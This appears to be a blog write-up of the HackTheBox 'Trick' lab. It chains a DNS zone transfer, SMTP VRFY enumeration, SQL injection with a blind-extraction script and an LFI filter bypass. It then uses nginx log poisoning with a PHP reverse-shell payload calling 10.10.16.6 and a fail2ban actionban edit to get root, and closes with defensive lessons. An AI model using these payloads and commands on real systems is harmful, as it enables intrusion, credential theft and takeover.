the_open_door
coffee
ESEN

Trick

HackTheBoxEasyLinux10.10.11.166

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dns-zone-transfer#smtp-user-enum#vhost-fuzzing#sqli#blind-sqli#lfi#path-traversal#log-poisoning#lfi-to-rce#fail2ban#sudo
TL;DR. Trick chains several classic web flaws. A DNS zone transfer reveals preprod-payroll.trick.htb; on its panel, a 'or 1=1-- - (SQLi) bypasses auth and an automated boolean-based extraction dumps Enemigosss:SuperGucciRainbowCake. A subdomain fuzz finds preprod-marketing.trick.htb, vulnerable to an LFI that bypasses the ../ filter with ....//. The LFI becomes RCE via nginx log poisoning (the User-Agent header), giving a shell as michael. Finally, michael can restart fail2ban via sudo: editing its actionban to make /bin/bash SUID (fail2ban abuse) yields root.

Recon

Ping

ping -c 1 10.10.11.166

ping to 10.10.11.166: ttl=63 points to Linux

PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

UDP sweep

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.166 | grep -v 'no-response'

nmap -sU finding only 53/udp domain with udp-response ttl 63

Initiating UDP Scan at 18:58
Discovered open port 53/udp on 10.10.11.166
Completed UDP Scan at 18:58, 0.58s elapsed (100 total ports)
Not shown: 5 closed udp ports (port-unreach)
PORT     STATE  SERVICE   REASON
53/udp   open   domain    udp-response ttl 63

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

A single open UDP port, 53 (DNS). A box exposing DNS is already unusual, and it usually means it resolves names for something: internal domains, subdomains, virtual hosting. Noted as a priority.

Port scan

We sweep all 65535 TCP ports to find the open ones and then run a targeted version scan over them (two phases: discover fast, then profile).

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.166 -oG scan

nmap -p- finding ports 22, 25, 53 and 80 open, all with syn-ack ttl 63 and 65531 closed

Initiating SYN Stealth Scan at 18:58
Discovered open port 25/tcp on 10.10.11.166
Discovered open port 80/tcp on 10.10.11.166
Discovered open port 53/tcp on 10.10.11.166
Discovered open port 22/tcp on 10.10.11.166
Completed SYN Stealth Scan at 18:58, 15.24s elapsed (65535 total ports)
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
25/tcp open  smtp    syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds

The remaining 65531 come back closed (they answer with RST), not filtered: there is no firewall dropping traffic, there is simply nothing listening. Port 53 also shows up on TCP, confirming a full DNS server (UDP for normal queries, TCP for large answers and zone transfers).

extractPorts scan

extractPorts returning IP Address 10.10.11.166 and Open ports 22,25,53,80

Extracting information...
IP Address: 10.10.11.166
Open ports: 22,25,53,80

Ports copied to clipboard
nmap -p22,25,53,80 -sCV 10.10.11.166

nmap -sCV: SSH, Postfix with VRFY, BIND 9.11 and nginx 1.14.2

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme

The version detail brings two valuable leads: SMTP (Postfix) supports VRFY, a command for asking whether an account exists (system user enumeration), and DNS is BIND, which may allow zone transfers.

TCP 80: the site is a decoy

whatweb http://10.10.11.166

whatweb returning 200 OK, Bootstrap, HTTPServer nginx/1.14.2 and the title "Coming Soon - Start Bootstrap Theme"

http://10.10.11.166 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.11.166], Script, Title[Coming Soon - Start Bootstrap Theme], nginx[1.14.2]

Wappalyzer adds nothing: just nginx 1.14.2, catalogued both as web server and as reverse proxy, which suggests there may be more than one virtual host behind it.

"Our Website is Coming Soon" landing page with a subscription form; Wappalyzer detects Nginx 1.14.2 as web server and as reverse proxy

The source confirms it is an off-the-shelf template nobody customised:

The landing page source: the Start Bootstrap "Coming Soon" template with SB Forms comments and a data-sb-form-api-token holding the literal value API_TOKEN

<title>Coming Soon - Start Bootstrap Theme</title>
...
<!-- * * SB Forms Contact Form * *-->
<!-- This form is pre-integrated with SB Forms.-->
<!-- To make this form functional, sign up at-->
<!-- https://startbootstrap.com/solution/contact-forms-->
<!-- to get an API token!-->
<form id="contactForm" data-sb-form-api-token="API_TOKEN">

The data-sb-form-api-token="API_TOKEN" is the template's unreplaced placeholder, not a real leak. Port 80 is not the vector; focus goes back to DNS.

DNS - TCP/UDP 53

With a DNS server in front and no idea which domain it serves, the first move is a reverse lookup: asking the server itself which name corresponds to its IP.

nslookup
> server 10.10.11.166
> 10.10.11.166

nslookup in interactive mode, setting the server to 10.10.11.166 and resolving 166.11.10.10.in-addr.arpa to the name trick.htb

> server 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa       name = trick.htb.

The same result with dig, which also shows the supporting records:

dig -x 10.10.11.166 @10.10.11.166

dig -x returning the PTR trick.htb, the NS trick.htb and, in the additional section, A 127.0.0.1 and AAAA ::1

;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN  PTR   trick.htb.

;; AUTHORITY SECTION:
11.10.10.in-addr.arpa.     604800 IN  NS    trick.htb.

;; ADDITIONAL SECTION:
trick.htb.                 604800 IN  A     127.0.0.1
trick.htb.                 604800 IN  AAAA  ::1

One detail is worth understanding: the A record for trick.htb points at 127.0.0.1, not 10.10.11.166. That is normal in these setups, DNS resolves the name from the server's own point of view, and it is exactly why the domain has to be mapped by hand in /etc/hosts instead of letting DNS resolve it.

nano /etc/hosts
cat /etc/hosts

/etc/hosts with the line 10.10.11.166 trick.htb added

127.0.0.1       localhost
127.0.1.1       kali

10.10.11.166    trick.htb

With the domain in hand, we try a zone transfer (AXFR), which is asking DNS for the whole zone at once. It should only be allowed to declared secondary servers:

dig axfr trick.htb @10.10.11.166

dig axfr reveals the preprod-payroll.trick.htb subdomain

trick.htb.                  604800  IN  SOA   trick.htb. root.trick.htb. ...
trick.htb.                  604800  IN  NS    trick.htb.
trick.htb.                  604800  IN  A     127.0.0.1
preprod-payroll.trick.htb.  604800  IN  CNAME trick.htb.

The transfer works and leaks the subdomain preprod-payroll.trick.htb, which also goes into /etc/hosts:

/etc/hosts with trick.htb and preprod-payroll.trick.htb pointing at the same IP

10.10.11.166    trick.htb    preprod-payroll.trick.htb

SMTP - TCP 25

In parallel, we make use of the VRFY nmap announced. No tool required: an nc that sends EHLO, VRFY <user> and QUIT, and looks at the response code. A 252 means the account exists.

cat smtp_userenum.sh

The smtp_userenum.sh script, iterating the xato-net-10-million-usernames.txt wordlist firing VRFY over nc in batches of 400 threads and saving users that return 252

#!/bin/bash

userfile="/home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt"
userlist=smtp_userlist.txt

max_threads=400
counter=0

while read -r user; do
    (
        response=$(echo -e "EHLO test\nVRFY $user\nQUIT" | nc 10.10.11.166 25 | tail -n 2 | head -n 1 | awk '{print $1}')

        if [ "$response" = "252" ]; then
            echo -e "${yellowColour}[+]${endColour} ${blueColour}User '$user' exists${endColour}"
            echo "$user" >> $userlist
        fi
    ) &

    counter=$((counter+1))
    if [ "$counter" -ge "$max_threads" ]; then
        wait
        counter=0
    fi
done < "$userfile"

wait

The max_threads block is not decoration: each query takes about five seconds because nc waits for the server to close, so serially the wordlist would take weeks. Firing 400 in parallel and waiting per batch brings it down to minutes.

./smtp_userenum.sh

SMTP VRFY enumeration: michael, mail, root, news, man, bin, games

[+] User 'michael' exists
[+] User 'root' exists
[+] User 'man' exists
[+] User 'games' exists

Most are system accounts on any Debian (mail, news, man, bin, games), but michael is not: it is a real user, and that name will come back later.

TCP 80: fuzzing the main domain

Before jumping to the subdomain, we close out the main one:

dirsearch -u http://trick.htb/ --exclude-status=403,404

dirsearch against trick.htb returning only three 301 redirects to /js, /assets and /css

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://trick.htb/

[13:31:16] Starting:
[13:31:18] 301 -  185B - /js  →  http://trick.htb/js/
[13:31:43] 301 -  185B - /assets  →  http://trick.htb/assets/
[13:31:52] 301 -  185B - /css  →  http://trick.htb/css/

Task Completed

Only the three directories of a static template. We still download the site and search by content, which is sometimes where the things fuzzing misses show up:

grep -riE 'dbpass|creds|password|trick|pass|user' --text .

The recursive grep returning only CSS matches (user-select) and template comments, with no credentials

./trick.htb/index.html:   <!-- This is what your users will see when the form-->
./trick.htb/css/styles.css:   -webkit-user-select: none;
./trick.htb/css/styles.css:   -moz-user-select: none;
./trick.htb/css/styles.css:   user-select: none;
...

Every hit is noise: user-select CSS properties and template comments. Not one credential. The main domain is closed.

Panel access: SQL injection

Authentication bypass

preprod-payroll.trick.htb shows a Recruitment Management System with a login. First, rule out the trivial:

The preprod-payroll.trick.htb login panel with admin:admin and the red message "Username or password is incorrect."

Username or password is incorrect.

admin:admin fails, but the message is informative: the application queries a database to validate, and that is exactly where to try an injection. The classic SQL injection payload:

'or 1=1-- -

The same form with 'or 1=1-- - typed into the Username field

The logic is simple: if the original query is SELECT * FROM users WHERE username='<input>' AND password='<input>', the quote closes the string, or 1=1 makes the condition always true and -- - comments out the rest (including the password check). The server returns the first row of the table, which is the administrator:

Recruitment Management System dashboard as Administrator after the SQLi

Automated boolean blind SQLi

Being inside the panel is useful, but the injection gives much more. Comparing the response to a true and a false condition, the service returns 1 when true and 3 when false: a boolean blind injection:

curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=1-- -&password='test'"   # -> 1
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=3-- -&password='test'"   # -> 3

responses 1 (true) and 3 (false) confirming the boolean SQLi

1
3

That one-character oracle is all we need. We verify it with a real query, comparing the first character of the database name:

curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='p'-- -&password='test'"
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='g'-- -&password='test'"

Both requests: with 'p' the server answers 1 and with 'g' it answers 3, confirming the database name starts with p

# substring(database(),1,1) = 'p'   →  1   (true)
# substring(database(),1,1) = 'g'   →  3   (false)

With 'p' it answers 1 and with 'g' it answers 3: the first character is a p. Repeating that for every position and every possible character is what the Python script automates: two nested loops (position and character) that concatenate the result and paint it with a pwn progress bar.

for position in range(1, 60):
    for character in characters:
        post_data = {
            'username': "' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s'-- -" % (position, character),
            'password': 'test'
        }
        r = requests.post(login_url, data=post_data)
        if r.text == "1":
            result += character
            p2.status(result)
            break
python3 sqli.py

The script dumping the database names: information_schema,payroll_db

[^] SQLi: ' or substring((select group_concat(schema_name) from information_schema.schemata),32,1)='v'-- -
[0] SQLi: information_schema,payroll_db

The application's database is payroll_db. Changing the script's query (same mechanics, different source) gives the tables:

' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),%d,1))=hex('%s')-- -

The script dumping payroll_db's tables: position, employee, department, payroll_items, attendance, employee_deductions, employee_allowances, users, deductions, payroll

[w] SQLi: ' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),119,1))=hex(',')-- -
[d] SQLi: position,employee,department,payroll_items,attendance,employee_deductions,employee_allowances,users,deductions,payroll,

Wrapping both sides in hex() is not a whim: it avoids problems with case comparison (MySQL compares strings case-insensitively by default) and with characters that would break the quoting. Of the ten tables, the one that matters is users. Its columns:

' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),%d,1))=hex('%s')-- -

The script dumping the users table columns: id, doctor_id, name, address, contact, username, password, type

[ ] SQLi: ' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),58,1))=hex('T')-- -
[/] SQLi: id,doctor_id,name,address,contact,username,password,type

And with name, username and password located, the records:

' or hex(substring((select group_concat(name,':',username,':',password) from users),%d,1))=hex('%s')-- -

the script dumps Administrator:Enemigosss:SuperGucciRainbowCake

[+] SQLi: Administrator:Enemigosss:SuperGucciRainbowCake

A single user, and the password in cleartext (not even hashed).

The same password, without SQLi

The shortcut is worth showing, because the same data was two clicks away inside the panel. The Users tab lists the single user and offers an edit button:

The panel's Users tab showing the Administrator / Enemigosss row with the Action menu open on Edit

The "Edit User" modal with Name Administrator, Username Enemigosss and the Password field filled but hidden behind dots

The password field comes pre-filled, but hidden behind the HTML's type="password". That hiding is purely visual: the value is already in the browser's DOM, so removing the attribute from the inspector reveals it in cleartext.

the inspector reveals the cleartext password once type=password is removed

It matches what the SQLi produced. We save it:

echo 'Enemigosss:SuperGucciRainbowCake' > creds.txt
cat creds.txt

The creds.txt file with the line Enemigosss:SuperGucciRainbowCake

Enemigosss:SuperGucciRainbowCake

Shell as michael

More subdomains: vhost fuzzing

The preprod- prefix suggests there are more pre-production environments and that the zone transfer only declared one. A Host header fuzz keeps the prefix and brute-forces the rest:

wfuzz -u 'http://trick.htb' -H 'Host: preprod-FUZZ.trick.htb' \
  -w directory-list-2.3-big.txt -t 200 --hh=5480,173

wfuzz finds the preprod-marketing subdomain

ID          Response   Lines    Word     Chars     Payload
000000566:  200        178 L    631 W    9660 Ch   "marketing"

The --hh=5480,173 filters by response length: 5480 characters is the default landing page (what nginx returns for an unknown Host) and 173 the error response. Without that filter, the 220000 requests would have returned 220000 false positives. preprod-marketing falls outside both sizes at 9660 characters.

nano /etc/hosts
cat /etc/hosts

/etc/hosts with all three names: trick.htb, preprod-payroll.trick.htb and preprod-marketing.trick.htb

10.10.11.166    trick.htb    preprod-payroll.trick.htb    preprod-marketing.trick.htb

LFI with a ../ bypass

The new subdomain is a corporate site, and its navigation gives something away: each section loads via a page parameter.

The preprod-marketing site with the URL index.php?page=services.html highlighted and the SERVICES tab selected

A parameter that takes a filename and includes it is an immediate Local File Inclusion candidate. The first attempt, with the usual ../, returns nothing:

The URL index.php?page=../../../../etc/passwd loading a completely blank page

A blank page, not an error. That usually means ../ is being filtered, not that the parameter is safe. The question is how it is filtered: if the sanitiser is a single-pass str_replace('../',''), all we need is to nest the pattern. With ....//, removing the ../ in the middle leaves ../ again.

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' --path-as-is

The LFI with the ....// bypass returning the full /etc/passwd, ending in michael:x:1001:1001::/home/michael:/bin/bash

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

curl's --path-as-is is essential: without it, curl normalises the path and collapses the ../ before sending the request, so the payload would never reach the server intact.

Besides the michael at the end, passwd confirms the stack we already knew (mysql, postfix, bind, all consistent with ports 25 and 53). Filtering for accounts with a real shell:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' \
  --path-as-is | grep bash

the LFI reads /etc/passwd: root and michael with /bin/bash

root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

Only root and michael, the same name SMTP had produced. Two independent sources pointing at the same user.

LFI to RCE: nginx log poisoning

With an LFI we could try reading michael's id_rsa, but there is a more reliable route. Wappalyzer on this subdomain confirms the fact that makes it possible: besides nginx, the application is PHP.

Wappalyzer on preprod-marketing detecting Nginx 1.14.2 as server and reverse proxy, PHP as language, Bootstrap 4.4.1 and jQuery 3.4.1

PHP is the key: the LFI does not just read the included file, it interprets it. If we can write PHP code into a file we can include, that code will run. And nginx writes every request it receives into /var/log/nginx/access.log, including the User-Agent header verbatim.

First we check the log is readable through the LFI:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' --path-as-is

The LFI returning access.log with the previous requests from 10.10.16.6, including two 404s from the fuzzing

10.10.16.6 - - [12/Nov/2025:13:31:17 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /Drv7zc HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /RG2Gkt HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."

It reads, and we can even see the trace of our own fuzzing (the two random paths with 404 are the ones dirsearch uses to calibrate). With the log confirmed readable and the User-Agent landing inside it, we set up nc and poison:

nc -nlvp 4444
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' \
  -H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f');?>"

The request with the PHP payload in the User-Agent; the response shows the log with the previous requests already written

10.10.16.6 - - [12/Nov/2025:14:19:54 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
10.10.16.6 - - [12/Nov/2025:14:20:13 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
8.15.0"
10.10.16.6 - - [12/Nov/2025:14:20:25 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H

This request does two things at once: nginx records our malicious User-Agent in the log and the LFI includes that same log. What we see is the log before the new line was written; requesting it again is enough for the freshly written PHP to be interpreted:

curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log'

reverse shell established as michael

michael@trick:/var/www/market$ whoami
michael

The payload uses a FIFO (mkfifo /tmp/f) instead of a bash -i >& /dev/tcp/... because PHP's exec() does not inherit a TTY: the fifo bridges nc and the shell in both directions.

The user flag:

cat user.txt as michael

michael@trick:/var/www/market$ cat /home/michael/user.txt
ed45e92ac0dc32c574a9d6b22783c11b

Privilege escalation

fail2ban abuse via sudo

michael can restart fail2ban as root without a password (fail2ban abuse):

sudo -l

sudo -l: michael can run /etc/init.d/fail2ban restart as root

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

fail2ban runs an action (actionban) when it bans an IP, defined in /etc/fail2ban/action.d/iptables-multiport.conf. michael belongs to the security group and, although the file is not directly writable, he can replace it: copy it, edit the actionban to set SUID on /bin/bash, rename the original and drop the modified one in its place:

cp action.d/iptables-multiport.conf /tmp/iptables-multiport.conf
# edit:  actionban = chmod u+s /bin/bash
mv action.d/iptables-multiport.conf action.d/iptables-multiport.bak
mv /tmp/iptables-multiport.conf action.d/iptables-multiport.conf

actionban edited to chmod u+s /bin/bash

michael@trick:/etc/fail2ban$ cat action.d/iptables-multiport.conf | grep actionban
# Notes.:  command executed once before each actionban command
# Option:  actionban
actionban = chmod u+s /bin/bash

The cat ... | grep actionban confirms the replaced file defines actionban = chmod u+s /bin/bash.

We apply the configuration with the authorised restart and trigger the actionban by causing bans (e.g. an SSH brute force with hydra). When the action runs, /bin/bash becomes SUID and bash -p keeps the inherited euid=0 instead of dropping it (which is what bash does by default at startup), giving us root:

sudo /etc/init.d/fail2ban restart
hydra -l michael -P rockyou.txt ssh://10.10.11.166 -t 64 -I
ls -l /bin/bash      # -rwsr-xr-x ... root root
bash -p

/bin/bash with SUID and euid=0 after bash -p

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
bash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)

The final flag:

cat root.txt with euid root

bash-5.0# cat /root/root.txt
6db358fdfa64b72f93a56824eb42ce8f

Attack chain

TTL 63 (Linux) ─▶ UDP 53 + TCP 22/25/53/80
        │  nslookup/dig -x ─▶ trick.htb  │  AXFR ─▶ preprod-payroll
        ▼
  SMTP VRFY (400-thread script) ─▶ michael
        │  payroll: SQLi 'or 1=1-- - ─▶ admin  (the inspector gives the same)
        │  blind boolean SQLi ─▶ payroll_db.users ─▶ Enemigosss:SuperGucciRainbowCake
        ▼
  vhost fuzz ─▶ preprod-marketing ─▶ LFI (....// bypass, --path-as-is)
        │  Wappalyzer: PHP ─▶ the include INTERPRETS
        │  log poisoning (User-Agent in access.log)
        ▼
  michael shell ─▶ user.txt
        │  sudo /etc/init.d/fail2ban restart + actionban = chmod u+s /bin/bash
        ▼
  SUID /bin/bash ─▶ bash -p ─▶ root ─▶ root.txt

Lessons learned

  • Do not expose zone transfers. An open AXFR hands over the map of internal subdomains (preprod-*), including the vulnerable pre-production environment. Restrict allow-transfer to the secondaries.
  • The zone does not tell the whole story. The AXFR only declared preprod-payroll; the subdomain that opens the box (preprod-marketing) came from fuzzing the Host header. One source of information does not replace the other.
  • VRFY leaks users. Leaving VRFY enabled on SMTP allows enumerating system accounts (michael), a base for brute force or for confirming users found via the LFI. Disable it.
  • A ../ filter that strips once is trivial to bypass. ....// collapses to ../ after the replacement. Sanitise with real canonicalisation (realpath) and allowlists, not with str_replace.
  • A password hidden behind type="password" is not hidden. The value already travelled to the browser; the attribute only changes how it is drawn. Never send the client a secret the client should not see.
  • LFI + PHP + readable logs = RCE. Poisoning the nginx log turns a file read into execution, because PHP's include interprets what it reads. Restrict access to logs and never include user-controlled paths.
  • fail2ban is a binary that runs commands as root. Granting restart via sudo, with tamperable action files, is equivalent to root. Protect action.d/ and do not grant control over services that run arbitrary actions.
Command cheatsheet 15 commands

Quick review